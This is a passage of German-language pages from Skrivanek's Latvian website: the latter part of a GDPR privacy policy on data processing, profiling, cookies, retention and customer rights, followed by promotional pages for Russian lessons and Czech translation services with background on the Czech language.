Kundendaten sammelt, verarbeitet, speichert, weitergibt, löscht und schützt und somit sicherstellt, dass die Kundendaten auf legale, faire und für den Kunden transparente Weise verarbeitet werden. Die Richtlinie gilt für die personenbezogenen Daten des Kunden, für jede Verarbeitung personenbezogener Daten und für die den Kunden erbrachten Dienstleistungen. 4. 2 Bei Änderungen dieser Richtlinien kann das unter www. skrivanek. lv, im Abschnitt "Über uns" - "Datenschutzbestimmungen" gelesen werden. 5. 1 Die Kategorien der von Skrivanek verarbeiteten personenbezogenen Daten hängen von den Dienstleistungen ab, die den Kunden angeboten werden. Skrivanek ist berechtigt, die folgenden Kategorien personenbezogener Daten für die in Absatz 7 dieser Erklärung genannten Zwecke zu verarbeiten: 5. 1. 1 Name, Vorname, Personalausweisnummer/ Geburtsdatum, Adressanschrift, Telefonnummer und E-Mail-Adresse; 5. 1. 2 Bankverbindungen; 5. 1. 3 Angaben zu den Ausweispapieren (Dokumentennummer, Datum und Ort der Ausstellung usw. ); 5. 1. 4 Daten, die der Kunde Skrivanek selbst zur Verfügung stellt; 5. 1. 5 die Aufzeichnungen und Bilder von Überwachungsvideos; 5. 1. 6 die in den Rechtsvorschriften vorgeschriebenen Informationen über die Gesundheit der Kindercamp Teilnehmer. 5. 2 Skrivanek verarbeitet diese Daten für die Nutzung der Dienste zu den in Absatz 7 dieser Erklärung aufgeführten Zwecken: 5. 2. 1 Cookies (Browserdaten) - Informationen über die Besuche auf Skrivanek-Webseiten (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv) (im Folgenden als "Skrivanek-Websites" bezeichnet). 6. 1 Kundeneinwilligung - Der Kunde gibt als betroffene Person selbst seine Einwilligung zur Erhebung und Verarbeitung personenbezogener Daten für bestimmte Zwecke. Die Einwilligung kann der Kunde jederzeit frei und unabhängig abgeben und erlaubt Skrivanek somit, persönliche Daten für bestimmte Zwecke zu verarbeiten. Die Einwilligung ist verbindlich, wenn sie schriftlich erteilt wird (durch Ausfüllen des Formulars im Büro von Skrivanek, durch Übersendung eines elektronischen Antrags nach Identifizierung des Kunden oder durch Nutzung der Internetseiten www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv). Der Kunde kann seine Einwilligung jederzeit widerrufen (Abschnitt "Kontakt" auf der Website von Skrivanek). Die beantragten Änderungen werden innerhalb von drei Arbeitstagen wirksam. Der Widerruf der Einwilligung hat keinen Einfluss auf die Rechtmäßigkeit der Verarbeitung, die auf der Einwilligung vor dem Widerruf beruhte. 6. 2 Vertragsabschluss und -durchführung - um Skrivanek den Abschluss und die Durchführung eines Vertrages mit dem Kunden zu ermöglichen, durch die Erbringung qualitativ hochwertiger Dienstleistungen Kundenbetreuung, müssen bestimmte personenbezogene Daten erfasst und verarbeitet werden, die vor dem Abschluss des Vertrages mit Skrivanek oder während der Zeit, in der der Vertrag bereits in Kraft ist, erhoben wurden. 6. 3 Die Interessen von Skrivanek - Die Interessen von Skrivanek liegen bei der Bereitstellung von qualitativ hochwertigen Dienstleistungen und rechtzeitiger Unterstützung für den Kunden; Skrivanek hat das Recht, die personenbezogenen Daten des Kunden in dem Maße zu verarbeiten, wie es für die in den Absätzen 7. 1 bis 7. 3 dieser Richtlinie genannten Zwecke objektiv notwendig und ausreichend ist. Zu den berechtigten Interessen von Skrivanek gehört die Verarbeitung personenbezogener Daten im Rahmen des Direktmarketings, bei dem dem Kunden neue und/oder individuelle Dienstleistungsangebote von Skrivanek unterbreitet werden (siehe auch Absatz 8. 2 und 8. 3 der AGB). Weil Skrivanek ein Teil der SKRIVANEK Holding SE Gruppe ist (siehe auch Absatz 12. 4 der AGB), hat sie ein berechtigtes Interesse an der Verarbeitung ihrer Kundendaten, indem sie diese zu internen Verwaltungszwecken an andere Unternehmen der Gruppe weiterleitet, auch damit die SKRIVANEK Holding SE Gruppe dem Kunden Dienstleistungen anbieten kann, die den heutigen Bedürfnissen entsprechen. 6. 4 Gesetzliche Verpflichtungen - Skrivanek ist berechtigt, personenbezogene Daten zu verarbeiten, um die Anforderungen von Rechtsvorschriften zu erfüllen und Antworten auf rechtmäßige Anfragen von staatlichen und regionalen Behörden zu geben. 6. 5 Schutz von grundlegenden Rechten- Skrivanek ist berechtigt, personenbezogene Daten zu verarbeiten, um die grundlegenden Rechte des Kunden oder einer anderen natürlichen Person zu schützen, z. B. wenn die Videoaufzeichnungen für die Verhinderung und Aufdeckung von Straftaten erforderlich sind. 7. 1 Skrivanek verarbeitet personenbezogene Daten, um die Erbringung qualitativ hochwertiger Dienstleistungen während der Laufzeit des Vertrages mit Skrivanek zu gewährleisten: 7. 1. 1 Die Bearbeitung von Kundenreklamationen und die Bereitstellung von Unterstützung (einschließlich technischer Unterstützung) für die erbrachten Dienstleistungen; 7. 1. 2 Die Verwaltung eines effektiven Cashflows, einschließlich der Verwaltung der Zahlungen und Schulden des Kunden; 7. 1. 3 Den Kunden über die von anderen Unternehmen der SKRIVANEK Holding SE Gruppe angebotenen Dienstleistungen zu informieren; 7. 1. 4 Für die Videoüberwachung zu Sicherheitszwecken. 7. 2 Skrivanek verarbeitet personenbezogene Daten, um die Entwicklung der Branche zu fördern und den Kunden neue Dienstleistungen anzubieten, einschließlich: 7. 2. 1 Neue Dienstleistungen zu schaffen und anzubieten; 7. 2. 2 Zur Marktanalyse und zur Entwicklung des Geschäftsmodells werden statistische Daten der Kunden von Skrivanek verarbeitet. 7. 3 Skrivanek verarbeitet personenbezogene Daten zum Aufbau und zur Aufrechterhaltung der internen Prozesse von Skrivanek, zur Sicherstellung des Dokumentenumlaufs und anderer interner Prozesse (z. B. Archivierung von Verträgen und anderen Dokumenten) im erforderlichen Umfang. 7. 4 Skrivanek hat das Recht, die unten genannten Daten und für andere Zwecke zu verarbeiten, wenn der Kunde seine freie und eindeutige Zustimmung gibt: 7. 4. 1 Die Überprüfung der personenbezogenen Daten des Kunden in den Schuldbuchdatenbanken, um die Fähigkeit des Kunden zur Erfüllung der vertraglichen Verpflichtungen zu beurteilen; eine solche Überprüfung ist während der Gültigkeitsdauer des Vertrags erforderlich, um dem Kunden neue und modernere Dienstleistungen anzubieten; 7. 4. 2 Förderung des Unternehmensrufs auf dem Markt durch Zusendung von Glückwünschen an die Kunden, Gewährung von Prämien, Umfragen zur Verbesserung bestehender Dienstleistungen und Schaffung neuer Dienstleistungen. 8. 1 Das Profiling von personenbezogenen Kundendaten als Datenverarbeitung: 8. 1. 1. Unter Profiling versteht man jede Art der automatisierten Verarbeitung personenbezogener Daten, d. h. die Verwendung personenbezogener Daten zum Zwecke der Bewertung einzelner persönlicher Aspekte einer natürlichen Person, insbesondere zur Analyse oder Vorhersage von Aspekten im Zusammenhang mit persönlichen Vorlieben, Interessen, Zuverlässigkeit, Verhalten, Aufenthaltsort oder Ortswechsel dieser Person; 8. 1. 2 durch die Verarbeitung der persönlichen Daten des Kunden kann Skrivanek ein Profiling durchführen, um individuelle Angebote zu formulieren und auszudrücken. Automatisierte Einzelentscheidungen werden nur für geschäftliche Zwecke getroffen und haben keine rechtlichen Folgen für den Kunden. Der Kunde hat das Recht, jederzeit gegen die Annahme einer automatisierten Entscheidung Einspruch zu erheben und nicht Gegenstand einer solchen Entscheidung zu sein, indem er Skrivanek davon in Kenntnis setzt (siehe auch die Bestimmungen des Absatzes 8. 3 der vorliegenden Richtlinie). 8. 2 Direktmarketing und der Versand von Werbeinhalten an Kunden: Skrivanek führt Direktmarketing durch, indem es Werbeinhalte an die Kunden versendet, so dass die Kunden stets über neue und/oder direkt geschaffene Dienstleistungen für die Kunden sowie über besondere Vertragsbedingungen (z. B. Rabatte) in Übereinstimmung mit der Grundlage für die Verarbeitung personenbezogener Daten gemäß Absatz 6. 3 der vorliegenden Richtlinie informiert werden. Die Kunden haben das Recht, den Empfang kommerzieller Mitteilungen jederzeit und kostenlos zu verweigern, indem sie Skrivanek darüber informieren (siehe auch die Bestimmungen von Absatz 8. 3 dieser Richtlinie). 8. 3 Der Kunde hat jederzeit das Recht, dem Profiling seiner personenbezogenen Daten zu widersprechen (siehe Punkt 8. 1) oder Werbeinhalte zu verweigern (siehe Punkt 8. 2), indem er Skrivanek mündlich (am Telefon, nach der Kundenidentifizierung, unter der Telefonnummer (+371) 67 240 364) oder schriftlich (durch Ausfüllen des Formulars im Büro von Skrivanek bestätigt oder durch eine Email an birojs@skrivanek. lv oder im Büro von Skrivanek Bescheid gibt. Die beantragten Änderungen werden innerhalb von drei Arbeitstagen wirksam. Änderungen haben keinen Einfluss auf die Rechtmäßigkeit der Verarbeitung personenbezogener Daten vor den in dieser Klausel genannten Einwänden und/oder der Ablehnung durch den Kunden. 9. 1 Cookies sind kleine Datendateien, die für die Bereitstellung bestimmter Website-Funktionen (wie z. B. das Einloggen) wichtig sind. Cookies ermöglichen es Websites, sich an eine Reihe von Einstellungen zu erinnern, z. B. an Sprache, Schriftarten und andere Optionen, die Sie für die Anzeige auf Webseiten gewählt haben. Dazu werden Cookies auf Ihrem Computer gespeichert. So funktionieren die meisten großen Websites und Diensteanbieter. 9. 2 Mit Hilfe von Cookies werden das allgemeine Nutzerverhalten und der Verlauf der Website-Nutzung verarbeitet, Probleme und Nachteile auf der Website erkannt, Statistiken über das Nutzerverhalten gesammelt und die vollständige und einfache Nutzung der Website-Funktionen ermöglicht. 9. 3 Sie können alle Cookies löschen, die sich bereits auf Ihrem Computer befinden. Die meisten Browser erlauben es Ihnen auch, die Platzierung von Cookies auf Ihrem Computer zu blockieren, aber in diesem Fall werden Sie nicht alle unsere Online-Dienste nutzen können. Weitere Informationen zu den Cookie-Einstellungen in Ihrem Browser finden Sie auf der Website des Webbrowser-Entwicklers. Die von Skrivanek unterhaltenen Websites verwenden funktionelle, analytische, werbliche und notwendige Cookies. Um mehr über Cookies zu erfahren, besuchen Sie bitte die Skrivanek-Webseite www. skrivanek. lv unter dem Abschnitt "Verwendung von Cookies". 10. 1 Skrivanek erhält persönliche Kundendaten, wenn Kunden: 10. 1. 1 die Dienstleistungen von Skrivanek erwerben (im Büro von Skrivanek oder online nach vorheriger Identifizierung des Kunden); 10. 1. 2 sich für Nachrichten, Ankündigungen oder andere Dienstleistungen von Skrivanek anmelden; 10. 1. 3 Skrivanek um weitere Informationen über die Dienstleistung bitten oder Skrivanek bezüglich Beschwerden oder Informationsanfragen kontaktieren, indem der Kunde identifiziert wird; 10. 1. 4 an Wettbewerben, Lotterien oder Umfragen teilnehmen; 10. 1. 5 die Webseiten von Skrivanek besuchen oder durchsuchen; 10. 1. 6 mit der Skrivanek Videoüberwachung bei Skrivanek gefilmt werden. 10. 2 Skrivanek kann von Dritten erhaltene personenbezogene Daten des Kunden verarbeiten, wenn der Kunde dem zugestimmt hat (z. B. von Inhabern von Schuldbüchern usw. ). 10. 3 Skrivanek kann personenbezogene Daten über den Kunden von den Tochterunternehmen der SKRIVANEK Holding SE Gruppe und verbundenen Unternehmen verarbeiten (siehe Absatz 12 dieser Richtlinie). 11. 1 Skrivanek wird die Kundendaten verarbeiten, solange mindestens eine der folgenden Bedingungen vorliegt: 11. 1. 1 der Vertrag zwischen dem Kunden und Skrivanek ist in Kraft; 11. 1. 2 die Frist für die Speicherung personenbezogener Daten ist in den Rechtsvorschriften der Republik Lettland und der Europäischen Union festgelegt oder ergibt sich aus diesen; 11. 1. 3 soweit dies zur Verwirklichung und Wahrung der geschäftlichen Interessen von Skrivanek erforderlich ist; 11. 1. 4 bis zum Widerruf der Einwilligung des Kunden in die Verarbeitung der personenbezogenen Daten. Die personenbezogenen Daten des Kunden werden spätestens drei Monate nach Wegfall des ursprünglichen Aufbewahrungsgrundes gelöscht, es sei denn, wir sind gesetzlich verpflichtet, diese Daten weiterhin aufzubewahren (z. B. für Zwecke der Rechnungslegung oder für Gerichtsverfahren). 12. 1 Für die Erbringung der Dienstleistungen kann Skrivanek persönliche Daten mit anderen teilen: 12. 1. 1 SKRIVANEK Holding SE Konzerngesellschaften; 12. 1. 2. Partner oder Institutionen, die an der Erbringung der vom Kunden bestellten oder in Anspruch genommenen Dienstleistungen beteiligt sind; 12. 1. 3 Inkassounternehmen, Kreditauskunfteien, Inhaber geschützter Datenbanken oder andere Inkassounternehmen; 12. 1. 4 Abtretungsempfänger - Um ein effizientes Cashflow-Management zu gewährleisten, hat Skrivanek das Recht, eine Forderung an den oder die Schuldner abzutreten. 12. 2 Skrivanek ist verpflichtet, personenbezogene Daten an die folgenden Behörden und Dienste weiterzugeben: 12. 2. 1 den Strafverfolgungsbehörden, dem Gericht oder anderen staatlichen und kommunalen Einrichtungen, wenn sich dies aus den Rechtsvorschriften ergibt oder auf Anfrage der betreffenden Einrichtung; 12. 3 Skrivanek wird die persönlichen Daten des Kunden nur in dem erforderlichen und ausreichenden Umfang zur Verfügung stellen, der den Anforderungen der Rechtsvorschriften und den objektiven Umständen der jeweiligen Situation entspricht. 12. 4 Skrivanek behält sich das Recht vor, personenbezogene Daten des Kunden gegebenenfalls an andere Unternehmen der SKRIVANEK Holding SE Gruppe oder an Dienstleister zu übermitteln, wenn dies für die Erbringung besserer und hochwertiger Dienstleistungen für den Kunden erforderlich ist. Für Informationen über die Unternehmen der SKRIVANEK Holding SE Gruppe, Inkassobüros, Kreditinformationsstellen, Inhaber von Schuldnerverzeichnissen oder andere Inkassounternehmen können die Beauftragten Skrivanek über die angegebenen Kommunikationskanäle kontaktieren (siehe "Kontakte" auf der Skrivanek-Webseite). 13. 1 Skrivanek stellt Schutzmaßnahmen zum Schutz der persönlichen Daten des Kunden vor unbefugtem Zugriff, versehentlichem Verlust, Offenlegung oder Zerstörung bereit, und überprüft und verbessert diese kontinuierlich. Um dies zu gewährleisten, nutzt Skrivanek moderne Technologien, technische und organisatorische Maßnahmen, z. B. Firewalls, Intrusion Detection, Analysesoftware und Datenverschlüsselung. 13. 2 Skrivanek prüft sorgfältig alle Dienstleister, die personenbezogene Daten des Kunden im Auftrag und im Namen von Skrivanek verarbeiten und bewertet, ob die Kooperationspartner (Datenverantwortlichen) angemessene Sicherheitsmaßnahmen ergreifen, um die personenbezogenen Daten des Kunden in Übereinstimmung mit der Delegation von Skrivanek und den Anforderungen der gesetzlichen Vorschriften zu verarbeiten. Kooperationspartnern ist es nicht gestattet, die personenbezogenen Daten des Kunden für eigene Zwecke zu verarbeiten. 13. 3 Skrivanek übernimmt keine Verantwortung für den unbefugten Zugang zu persönlichen Daten und/ oder den Verlust von persönlichen Daten, wenn dieser unabhängig von Skrivanek ist, z. B. aufgrund von Verschulden und/ oder Fahrlässigkeit des Kunden. 13. 4 Im Falle einer Bedrohung der persönlichen Daten des Kunden, wird Skrivanek den Kunden darüber informieren. 14. 1 Der Kunde kann Skrivanek stets für eine Kopie personenbezogener Daten kontaktieren. 14. 2 Sie können alle persönlichen Daten, die Skrivanek über Sie gespeichert hat, korrigieren, indem Sie die Änderungen per E-Mail an birojs@skrivanek. lv senden oder telefonisch unter (+371) 67 240 364 oder im Büro von Skrivanek angeben. 14. 3 Die Kunden haben das Recht, Informationen über diejenigen natürlichen oder juristischen Personen zu erhalten, die während eines bestimmten Zeitraums Informationen über sie von Skrivanek erhalten haben. Skrivanek wird den Kunden keine Informationen über die staatlichen Institutionen, die das Strafverfahren leiten, die Subjekte der operativen Tätigkeit oder andere Institutionen, für die das Gesetz die Weitergabe solcher Informationen verbietet, zur Verfügung stellen. 14. 4 Der Kunde darf die Löschung oder Einschränkung der Verarbeitung personenbezogener Daten verlangen, die für die Verarbeitung gemäß den Zwecken, für die sie erhoben und verarbeitet wurden, nicht mehr erforderlich sind (Recht auf Vergessenwerden). 14. 5 Kontaktaufnahme mit der Aufsichtsbehörde von Skrivanek oder der Verarbeitung personenbezogener Daten (Data State Inspection, www. dvi. gov. lv) im Zusammenhang mit Fragen zur Verarbeitung personenbezogener Daten. 14. 6 Kontaktaufnahme mit dem Datenschutzbeauftragten von Skrivanek für Informationen über die Verarbeitung und den Schutz der persönlichen Daten des Kunden. 14. 7 Der Kunde kann innerhalb eines Monats nach Einreichung des entsprechenden Antrags Zugang zu seinen personenbezogenen Daten erhalten. Der Kunde kann einen Antrag auf Ausübung seiner Rechte schriftlich an die Anschrift des für die Verarbeitung Verantwortlichen (unter Vorlage eines Personalausweises) oder per E-Mail stellen, wobei er den Antrag mit einer sicheren elektronischen Signatur unterzeichnet. Nach Erhalt des Antrags des Kunden auf Ausübung seiner Rechte prüft der Controller die Identität der betroffenen Person, bewertet den Antrag und führt ihn gemäß den geltenden Gesetzen und Vorschriften aus. 15. 1 Um einen hochwertigen Kundenservice zu bieten, organisieren wir auch Dolmetscherdienste und Sprachunterricht über die cloudbasierten Video- und Sprachkommunikationsplattformen Zoom oder Microsoft Teams. 15. 2 Die aktuelle Datenschutzrichtlinie von Zoom: https://zoom. us/privacy. Die Datenschutzrichtlinie von Microsoft Teams: https://www. microsoft. com/en-us/microsoft-365/blog/2020 / 04/06 / microsofts-commitment-privacy-security-microsoft-teams/. Die Entwickler dieser Plattformen haben in ihren Datenschutzrichtlinien erklärt, dass sie die in der Verordnung und in anderen Rechtsvorschriften festgelegten Grundprinzipien für die Verarbeitung personenbezogener Daten einhalten und somit die Einhaltung der Verordnung gewährleisten. Die Verwendung von Cookies SKRIVANEK DATENSCHUTZ EXPERTEN Uldis Krūmiņš dpo@skrivanek. lv --- > Russischunterricht für Privatpersonen und Unternehmen. Vor Ort oder online. Effiziente Lernmethoden. Ausgebildete Lehrer. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-03-22 - URL: https://skrivanek.lv/de/dienstleistungen/sprachunterricht/russisch-lernen/ - Translation Priorities: Optional Das Skrivanek Baltic Training Centre ist ein internationales Bildungszentrum mit mehr als zehn Jahren Erfahrung in der Bereitstellung von Sprachtrainingsdienstleistungen. Wir freuen uns, flexible und individuelle Lösungen für alle unsere Kunden zu finden, ganz gleich was ihr Bedarf ist. Mit unserer Erfahrung können wir für Russischlernenden jeden Alters aus der ganzen Welt maßgeschneiderte Lösungen anbieten. Wir bieten verschiedene Möglichkeiten, Russisch zu lernen - Einzelunterricht, Gruppenunterricht und Firmenschulungen sowie Unterricht über Skype. Russischkurse als Fremdsprache gehört zu unseren beliebtesten Angeboten, da wir eine ganze Palette von Interessenten haben, die Russisch lernen möchten. Wir bieten Russischkurse für alle an - für Studenten, die Russisch für ihr Studium benötigen, für Geschäftsleute, die Russisch für die schriftliche und mündliche Geschäftskommunikation brauchen, für Reisende, die im Rahmen ihrer Reise Russischkurse besuchen wollen, um die Sprache besser kennenzulernen. Das Skrivanek Baltic Training Centre ist der beste Ort für Russischlernende, um flexible Dienstleistungen für ihre Lernbedürfnisse zu finden - Arbeit und Studium, Sozialisieren und Reisen. Bei der Anmeldung für einen Russischkurs, wird Ihnen das Team des Skrivanek Baltic Training Centre helfen, den perfekten Kurs für Sie zu finden. EINZELUNTERRICHT Einzelunterricht lohnt sich besonders für jene, die nicht an einen festen Stundenplan eines Gruppenkurses gebunden sein wollen. Nach der Ermittlung der Kundenbedürfnisse erstellen wir einen speziellen Stundenplan, angepasst an die Bedürfnisse und Verfügbarkeit des Kunden. Der Unterricht kann in unseren Räumlichkeiten stattfinden oder an einem Ort und zu einer Zeit, die Ihnen passt. Der Einzelunterricht passt auch besonders für diejenigen, die spezielle Bedürfnisse haben. Dies könnten das Erlernen des kyrillischen Alphabets, das Verstehen von Texten auf Russisch oder die Kommunikation in sozialen oder geschäftlichen Situationen sein. In diesem Fall benötigen die Lernenden möglicherweise einen erfahrenen Tutor, der ihnen bei den sprachlichen Aspekten hilft, an denen sie besonders interessiert sind. Außerdem ist der Einzelunterricht praktisch für alle, die viel zu tun haben, denn so können Sie jedes Mal, wenn Sie sich treffen, den nächsten Unterricht vereinbaren. Einzelunterricht ist auch von Vorteil für Lernende und Reisende, die einen Intensivkurs für Russisch in Betracht ziehen. GRUPPENUNTERRICHT Wir bieten auch auf und außerhalb des Geländes Gruppenunterricht für Unternehmen an, dessen Mitarbeiter Russisch lernen sollen. Ihre Mitarbeiter sind in unseren Räumlichkeiten willkommen, wo wir morgens, mittags und abends Kurse anbieten. Gerne kann der Russischunterricht auch in Ihrem Büro stattfinden. Unsere Lehrer richten sich ganz nach Ihren Zeit- und Ortsvorstellungen. Auch Einzelpersonen können an unseren Kursen in unseren Schulräumen teilnehmen. Gruppenunterricht bietet Vorteile wie, dass das Lernen interaktiv ist. Die Schüler können mit ihren Gruppenmitgliedern in einfachem Russisch sprechen, indem sie reale Situationen in Rollenspielen und Dialogen simulieren. Außerdem lernen sie unterschiedliche Kommunikationsgeschwindigkeiten, Akzente und auch von den Fehlern des Anderen. RUSSISCHKURS ONLINE Ein Online-Russischkurs ist eine weitere flexible Dienstleistung, die das Skrivanek Baltic Training Centre seinen Kunden anbietet. Aufgrund unserer langjährigen Erfahrung sind wir überzeugt, dass Russisch online zu lernen eine fortschrittliche und effektive Art des Lernens ist. Sowohl Tutor als auch Schüler können den Unterricht je nach Verfügbarkeit online vereinbaren. So können sie zusammen lernen, sprechen und über russische Sprachaspekte wie Grammatik, Wortschatz oder Geschäftskommunikation reden. SPRACHLERNMETHODE - EFFECTO Alle unsere Tutoren sind professionelle Muttersprachler in Russisch, die sich auf den Unterricht von Russisch als Fremdsprache spezialisiert haben. So können unsere Schüler authentisch die Sprache erlernen. Unsere Russischlehrer sprechen Englisch, was bedeutet, das die russische Grammatik, Aussprache oder der Wortschatz auf Englisch erklärt werden kann. Somit verpassen Sie nichts Wichtiges und lernen so schnell wie möglich, sich auf Russisch sowohl in schriftlicher als auch in mündlicher Form zu verständigen. Darüber hinaus hat das Skrivanek Baltic Training Centre seine eigene, einzigartige Methode EFFECTO entwickelt, um den Lernprozess unterhaltsam und effektiv zu gestalten. Unsere EFFECTO-Methode besteht aus fünf Grundelementen, die wir für das Erlernen der russischen Sprache für besonders effizient halten. Die fünf Elemente von EFFECTO sind: Aktivität, Inspiration, individueller Ansatz und Garantie. Egal, welchen Russischkurs Sie belegen, Sie werden immer aktiv in den Lernprozess einbezogen. Unsere kreativen und geschickten Lehrer finden das beste Material, den besten Inhalt und die besten Methoden und bereiten Lehrpläne speziell für Ihre Lernbedürfnisse vor, um Ihnen den Erfolg beim Beherrschen der russischen Sprache im Geschäftsleben, in sozialen Situationen oder auf Reisen zu garantieren. Das Skrivanek-Team ist stets bereit, individuell auf die Bedürfnisse jedes Lernenden einzugehen und wir freuen uns, unseren Kunden genau das zu geben, was sie zum Erlernen der russischen Sprache benötigen. Um bestens Russisch zu lernen kontaktieren Sie das Team des Skrivanek Baltic Training Centre und wir werden Ihnen gerne den Russischkurs anbieten, den Sie brauchen - einen unterhaltsamer Russischkurs für das Sozialisieren, Reisen oder Geschäftliche! --- > Allgemeine und fachspezifische Übersetzungen in tschechischer Sprache, Dolmetscherdienste. Erhalten Sie ein kostenloses Angebot innerhalb von 15 Minuten! - Published: 2025-01-06 - Modified: 2025-03-26 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS TSCHECHISCHE WIE VIEL KOSTET EINE ÜBERSETZUNG INS TSCHECHISCHE? Ja, natürlich. Die Preisliste der schriftlichen Übersetzung sowie des Dolmetschens (konsekutiv und simultan), der Lokalisierung und der Adaptation ins Tschechische und aus dem Tschechischen ist ein fester Bestandteil unseres Kundenvertrags. Die Projektmanager von Skrivanek Baltic unterbreiten vor Auftragsbeginn stets einen Kostenvoranschlag. Innerhalb von 30 Minuten bekommen Sie ein Preisangebot. Bei der Preiskalkulation für schriftliche Aufträge werden die Anzahl der Wörter und Wiederholungen im Originaltext, die Komplexität der grafischen Elemente und andere Aspekte berücksichtigt. Um ein Preisangebot zu erhalten, senden Sie uns Ihr Material an unsere E-Mail. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Tschechische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in tschechischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach Sprachdienstleistungen auf Tschechisch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! WISSENSWERTES ÜBER DIE TSCHECHISCHE SPRACHE Tschechisch gehört zu den slawischen Sprachen der indogermanischen Sprachfamilie und wird weltweit von mehr als 11,5 Millionen Menschen gesprochen. Sie ist die älteste unter den slawischen Sprachen. Tschechisch ist die offizielle Sprache der Tschechischen Republik, wird aber auch in den USA, Österreich, Kanada, der Slowakei und Deutschland gesprochen. Tschechisch gehört zu den 24 Amtssprachen der Europäischen Union. 96% der Bevölkerung der Tschechischen Republik sprechen Tschechisch. Die tschechische Sprache hat drei Hauptdialektgruppen: Tschechisch, Hantec und Lachisch, die nochmals in Untergruppen unterteilt sind. Es gibt vier Dialekte: Böhmisch, schlesisch-polnisch (in Südpolen gesprochen und teilweise als polnischer Dialekt mit starken tschechischen Einflüssen betrachtet), Mährisch und schlesisch-mährisch. Die Ursprünge der tschechischen Sprache reichen bis ins 10. Jahrhundert zurück, als sie sich, wie auch andere slawische Sprachen, vom Urslawischem abzuspalten begann. Bis zum Ende des 13. Jahrhunderts benutzten die Tschechen das lateinische Alphabet unverändert; um jedoch dem wachsenden Textvolumen gerecht zu werden, entwickelten sie ein Schriftsystem, das es ihnen ermöglichte, die tschechischen Laute, für die es im lateinischen Alphabet keine Entsprechung gab, genauer wiederzugeben. Diese wurden im frühen 15. Jahrhundert eingeführt. Mehrere Jahrhunderte lang wurden sowohl Digraphen (Buchstabenpaare, die denselben Laut darstellen) als auch Buchstaben mit diakritischen Zeichen verwendet. Diakritische Zeichen werden auch heute noch in der tschechischen Sprache verwendet. Das einzige verbliebene Digraph ist jedoch das "ch". Die tschechische Schriftsprache entwickelte sich im 14. bis 16. Jahrhundert aus dem Mitteltschechischem oder Prager Dialekts, aber erst im 18. Jahrhundert entwickelte sie sich zur der Sprache, die uns heute bekannt ist. Das erste Buch in tschechischer Sprache wurde bereits 1468 gedruckt, was auch das erste Buch in einer der slawischen Sprachen überhaupt ist. Das erste Grammatikbuch wurde 1533 veröffentlicht. Nach der Zerschlagung der Reformbewegung im 17. Jahrhundert wurde das Lateinische wieder zur tschechischen Hauptschrift. Bücher in tschechischer Sprache wurden vernichtet und heimlich veröffentlichten Texte wurden als Manuskripte neu geschrieben. Aus historischen Gründen ist die Gesetzgebung der Tschechischen Republik in Bezug auf den Sprachgebrauch im Land recht streng: Sowohl die offizielle Kommunikation als auch die Kommunikation in den Massenmedien darf nur auf Tschechisch erfolgen. Außerdem werden in allen größeren Städten für ausländische Bürger Tschechischkurse gegen ein symbolisches Entgelt angeboten. Nur wenige nationale Universitäten und einzelne Fakultäten (vor allem Natur- und Ingenieurwissenschaften) bieten ein Studium auf Englisch an. Die tschechische Schriftsprache unterscheidet sich stark von der Umgangssprache. Das Schriftsystem basiert auf dem lateinischen Alphabet und besteht aus 42 Graphemen, einschließlich Buchstaben mit diakritischen Zeichen. Die tschechische Rechtschreibung ist weitgehend phonetisch - jeder Laut wird durch einen bestimmten Buchstaben dargestellt. Das Alphabet umfasst: A, Á, B, C, Č, D, Ď, E, É, Ě, F, G, H, Ch, I, Í, J, K, L, M, N, Ň, O, Ó, P, Q, R, Ř, S, Š, T, Ť, U, Ú, Ů, V, W, X, Y, Ý, Z, Ž. Doppelkonsonanten in der Mitte von Wörtern werden kurz ausgesprochen, zum Beispiel in "Anna" . Einige Wörter sind für Ausländer aufgrund von Konsonantenhäufungen besonders schwer auszusprechen. Diese Sprache hat ein fortschrittliches System von Deklinationen und Konjugationen, während der Satzbau relativ frei ist. Substantive haben einen Genus, eine Zahl und einen Fall. Der Genus unterteilt sich in Neutrum, Femininum und Maskulinum. Zahlen sind entweder im Singular oder Plural. Es gibt insgesamt sieben Fälle: Nominativ, Genitiv, Dativ, Akkusativ, Vokativ, Lokativ und Instrumental. Einige Substantive sind ausschließlich Singular und andere Plural, während andere Substantive (meist paarweise auftretende Körperteile) ihre ursprüngliche Pluralform beibehalten. In der tschechischen Sprache wird zwischen harten und weichen Substantiven unterschieden. Der Wortstamm von harten Substantiven endet meist auf harten Konsonanten, während der Wortstamm von weichen Substantive auf weiche Konsonanten endet. Maskuline Substantive werden anders dekliniert: Sie werden in Substantive unterteilt, die sich auf Lebewesen und Objekte beziehen. 